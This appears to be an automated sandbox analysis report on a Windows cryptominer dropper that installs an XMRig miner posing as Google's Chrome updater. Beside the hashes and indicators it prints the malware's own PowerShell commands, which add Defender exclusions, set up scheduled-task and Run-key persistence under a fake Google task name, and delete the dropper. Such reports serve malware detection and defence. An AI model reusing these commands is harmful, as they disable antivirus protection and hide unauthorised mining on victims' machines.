Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
-
max time kernel
1799s -
max time network
1804s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
24/10/2024, 20:12
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20240903-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20241023-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20240903-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20240903-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240708-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20241010-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20240903-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20240903-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240903-en
General
-
Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 4932 created 3476 4932 qM5GMXBk6hJE6Y5e (21).exe 56 PID 4932 created 3476 4932 qM5GMXBk6hJE6Y5e (21).exe 56 PID 4932 created 3476 4932 qM5GMXBk6hJE6Y5e (21).exe 56 PID 4932 created 3476 4932 qM5GMXBk6hJE6Y5e (21).exe 56 PID 64 created 3476 64 updater.exe 56 PID 64 created 3476 64 updater.exe 56 PID 64 created 3476 64 updater.exe 56 PID 64 created 3476 64 updater.exe 56 PID 64 created 3476 64 updater.exe 56 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral14/memory/408-111-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-110-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-113-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-115-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-117-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-119-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-121-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-123-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-125-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-127-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-129-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-131-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-133-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-135-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-137-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-139-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-141-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-143-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-145-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-147-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-149-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-151-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-153-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-155-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-157-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-159-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-161-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-163-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-165-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig behavioral14/memory/408-167-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 440 powershell.exe 1584 powershell.exe 4840 powershell.exe 3872 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 64 updater.exe -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 64 set thread context of 4020 64 updater.exe 117 PID 64 set thread context of 408 64 updater.exe 123 -
resource yara_rule behavioral14/memory/408-106-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-111-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-110-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-113-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-115-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-117-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-119-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-121-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-123-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-125-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-127-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-129-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-131-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-133-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-135-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-137-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-139-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-141-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-143-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-145-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-147-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-149-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-151-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-153-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-155-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-157-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-159-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-161-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-163-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-165-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx behavioral14/memory/408-167-0x00007FF7C7D70000-0x00007FF7C8564000-memory.dmp upx -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (21).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1192 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 4932 qM5GMXBk6hJE6Y5e (21).exe 4932 qM5GMXBk6hJE6Y5e (21).exe 440 powershell.exe 440 powershell.exe 4932 qM5GMXBk6hJE6Y5e (21).exe 4932 qM5GMXBk6hJE6Y5e (21).exe 4840 powershell.exe 4840 powershell.exe 4932 qM5GMXBk6hJE6Y5e (21).exe 4932 qM5GMXBk6hJE6Y5e (21).exe 4932 qM5GMXBk6hJE6Y5e (21).exe 4932 qM5GMXBk6hJE6Y5e (21).exe 2176 powershell.exe 2176 powershell.exe 64 updater.exe 64 updater.exe 1584 powershell.exe 1584 powershell.exe 64 updater.exe 64 updater.exe 3872 powershell.exe 3872 powershell.exe 64 updater.exe 64 updater.exe 64 updater.exe 64 updater.exe 4020 conhost.exe 4020 conhost.exe 64 updater.exe 64 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 440 powershell.exe Token: SeDebugPrivilege 4840 powershell.exe Token: SeIncreaseQuotaPrivilege 4840 powershell.exe Token: SeSecurityPrivilege 4840 powershell.exe Token: SeTakeOwnershipPrivilege 4840 powershell.exe Token: SeLoadDriverPrivilege 4840 powershell.exe Token: SeSystemProfilePrivilege 4840 powershell.exe Token: SeSystemtimePrivilege 4840 powershell.exe Token: SeProfSingleProcessPrivilege 4840 powershell.exe Token: SeIncBasePriorityPrivilege 4840 powershell.exe Token: SeCreatePagefilePrivilege 4840 powershell.exe Token: SeBackupPrivilege 4840 powershell.exe Token: SeRestorePrivilege 4840 powershell.exe Token: SeShutdownPrivilege 4840 powershell.exe Token: SeDebugPrivilege 4840 powershell.exe Token: SeSystemEnvironmentPrivilege 4840 powershell.exe Token: SeRemoteShutdownPrivilege 4840 powershell.exe Token: SeUndockPrivilege 4840 powershell.exe Token: SeManageVolumePrivilege 4840 powershell.exe Token: 33 4840 powershell.exe Token: 34 4840 powershell.exe Token: 35 4840 powershell.exe Token: 36 4840 powershell.exe Token: SeIncreaseQuotaPrivilege 4840 powershell.exe Token: SeSecurityPrivilege 4840 powershell.exe Token: SeTakeOwnershipPrivilege 4840 powershell.exe Token: SeLoadDriverPrivilege 4840 powershell.exe Token: SeSystemProfilePrivilege 4840 powershell.exe Token: SeSystemtimePrivilege 4840 powershell.exe Token: SeProfSingleProcessPrivilege 4840 powershell.exe Token: SeIncBasePriorityPrivilege 4840 powershell.exe Token: SeCreatePagefilePrivilege 4840 powershell.exe Token: SeBackupPrivilege 4840 powershell.exe Token: SeRestorePrivilege 4840 powershell.exe Token: SeShutdownPrivilege 4840 powershell.exe Token: SeDebugPrivilege 4840 powershell.exe Token: SeSystemEnvironmentPrivilege 4840 powershell.exe Token: SeRemoteShutdownPrivilege 4840 powershell.exe Token: SeUndockPrivilege 4840 powershell.exe Token: SeManageVolumePrivilege 4840 powershell.exe Token: 33 4840 powershell.exe Token: 34 4840 powershell.exe Token: 35 4840 powershell.exe Token: 36 4840 powershell.exe Token: SeIncreaseQuotaPrivilege 4840 powershell.exe Token: SeSecurityPrivilege 4840 powershell.exe Token: SeTakeOwnershipPrivilege 4840 powershell.exe Token: SeLoadDriverPrivilege 4840 powershell.exe Token: SeSystemProfilePrivilege 4840 powershell.exe Token: SeSystemtimePrivilege 4840 powershell.exe Token: SeProfSingleProcessPrivilege 4840 powershell.exe Token: SeIncBasePriorityPrivilege 4840 powershell.exe Token: SeCreatePagefilePrivilege 4840 powershell.exe Token: SeBackupPrivilege 4840 powershell.exe Token: SeRestorePrivilege 4840 powershell.exe Token: SeShutdownPrivilege 4840 powershell.exe Token: SeDebugPrivilege 4840 powershell.exe Token: SeSystemEnvironmentPrivilege 4840 powershell.exe Token: SeRemoteShutdownPrivilege 4840 powershell.exe Token: SeUndockPrivilege 4840 powershell.exe Token: SeManageVolumePrivilege 4840 powershell.exe Token: 33 4840 powershell.exe Token: 34 4840 powershell.exe Token: 35 4840 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3812 wrote to memory of 1924 3812 cmd.exe 106 PID 3812 wrote to memory of 1924 3812 cmd.exe 106 PID 2176 wrote to memory of 4440 2176 powershell.exe 107 PID 2176 wrote to memory of 4440 2176 powershell.exe 107 PID 64 wrote to memory of 4020 64 updater.exe 117 PID 3736 wrote to memory of 1192 3736 cmd.exe 122 PID 3736 wrote to memory of 1192 3736 cmd.exe 122 PID 64 wrote to memory of 408 64 updater.exe 123 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3476
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4932
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:440
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4840
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2176 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:4440
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3812 -
